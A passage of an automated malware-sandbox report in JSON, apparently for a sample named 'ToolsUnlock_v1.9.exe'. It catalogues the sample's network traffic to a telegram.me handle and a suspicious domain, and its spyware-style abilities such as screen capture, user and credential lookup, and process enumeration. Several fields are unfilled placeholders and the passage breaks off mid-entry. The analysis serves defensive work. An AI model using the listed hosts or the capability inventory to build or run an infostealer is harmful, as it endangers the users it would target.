\"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$42","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"ToolsUnlock_v1.9.exe\" trying to access non-existent file \"C:\\TOOLSUNLOCK_V1.9.EXE.LOCAL\"\n \"ToolsUnlock_v1.9.exe\" trying to access non-existent file \"C:\\ToolsUnlock_v1.9.exe.Local\\\"\n \"ToolsUnlock_v1.9.exe\" trying to access non-existent file \"\\Device\\RasAcd\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procsetsockopt\" (Indicator: \"setsockopt\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procsetsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"ToolsUnlock_v1.9.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"GET\" object: /hgo9tx\" - (UID: 00000000-00006184), \"ToolsUnlock_v1.9.exe\" called \"HttpOpenRequestA\" (UID: 00000000-00006184)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"ToolsUnlock_v1.9.exe\" called \"InternetReadFile\" with parameter 1024 (UID: 00000000-00006184)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"ToolsUnlock_v1.9.exe\" called \"InternetOpenA with parameter Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0\" (UID: 00000000-00006184)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /hgo9tx\"\n Found http requests in header \"GET /\"\n Found http requests in header \"POST /\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"file/memory contains long string with (Indicator: \"CreatePipe\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procCreatePipe\" (Indicator: \"CreatePipe\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procCreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"17723791074,6868,3237,,InternetReadFile,Wininet.dll,\"00:35:40.562\",RX=0,PX=0\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procsetsockopt\" (Indicator: \"setsockopt\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procsetsockopt\" (Indicator: \"setsockopt\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procNetUserGetInfo\" (Indicator: \"NetUserGetInfo\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procNetUserGetInfo\" (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087.001","relevance":1,"id":"string-112","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionA\" (Indicator: \"InternetQueryOption\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-314","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$45","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.14\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.17\"\n \"2.5.29.15\"\n \"2.5.29.32\"\n \"2.5.29.19\"\n \"2.5.29.31\"\n \"2.5.29.10\"\n \"2.5.4.3\"\n \"2.5.29.1\"\n \"2.5.29.16\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$47","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$48","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"$49","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /hgo9tx HTTP/1.1\nHost: telegram.me\nCache-Control: no-cache\nPragma: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0\n\n GET / HTTP/1.1\nHost: dzp.hidayahnetwork.com\nCache-Control: no-cache\nPragma: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"dzp.hidayahnetwork.com\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://telegram.me/hgo9tx\n Found HTTPS GET request to https://dzp.hidayahnetwork.com/\n Found HTTPS POST request to https://dzp.hidayahnetwork.com/","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"dzp.hidayahnetwork.com\" (90 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"149.154.167.99\" on port \"443\"\n HTTPS traffic to \"104.21.20.183\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopA\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp, 00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp\")\n Found string \":\\WINDOWS\\system32\\kerberos.DLL\" (Indicator: \"kerberos\"; Source: \"00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp, 00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp\")\n Found string \"icrosoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp, 00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp\")\n Found string \"Microsoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp, 00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"CreateDCA\" (Indicator: \"CreateDC\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"GetDIBits\" (Indicator: \"GetDIBits\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"file/memory contains long string with (Indicator: \"RtlGetNtVersionNumbers\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procRtlGetNtVersionNumbers\" (Indicator: \"RtlGetNtVersionNumbers\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"runtime._RtlGetNtVersionNumbers\" (Indicator: \"RtlGetNtVersionNumbers\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procRtlGetNtVersionNumbers\" (Indicator: \"RtlGetNtVersionNumbers\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")\n Found reference to API \"runtime._RtlGetNtVersionNumbers\" (Indicator: \"RtlGetNtVersionNumbers\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"ToolsUnlock_v1.9.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"ToolsUnlock_v1.9.exe\" called \"GetUserNameA\" (UID: 00000000-00006184)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"file/memory contains long string with (Indicator: \"GetAdaptersInfo\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"file/memory contains long string with (Indicator: \"LookupAccountName\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procLookupAccountNameW\" (Indicator: \"LookupAccountName\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procLookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about the current hardware profile (API string)","description":"Found reference to API \"GetCurrentHwProfileA\" (Indicator: \"GetCurrentHwProfile\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-159","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"file/memory contains long string with (Indicator: \"GetComputerName\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"syscall.procGetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"file/memory contains long string with (Indicator: \"GetEnvironmentVariable\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"syscall.procGetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"file/memory contains long string with (Indicator: \"getsockname\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procgetsockname\" (Indicator: \"getsockname\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procgetsockname\" (Indicator: \"getsockname\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"file/memory contains long string with (Indicator: \"route\"; File: \"ToolsUnlock_v1.9.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyA\" in \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00006184.00000000.136838.CFFD0000.00000004.mdmp, 00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"syscall.procCreateProcessAsUserW\" (Indicator: \"CreateProcessAsUser\"; File: \"ToolsUnlock_v1.9.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"file/memory contains long string with (Indicator: \"SetFileAttributes\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procSetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procSetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"System Security","name":"Contains 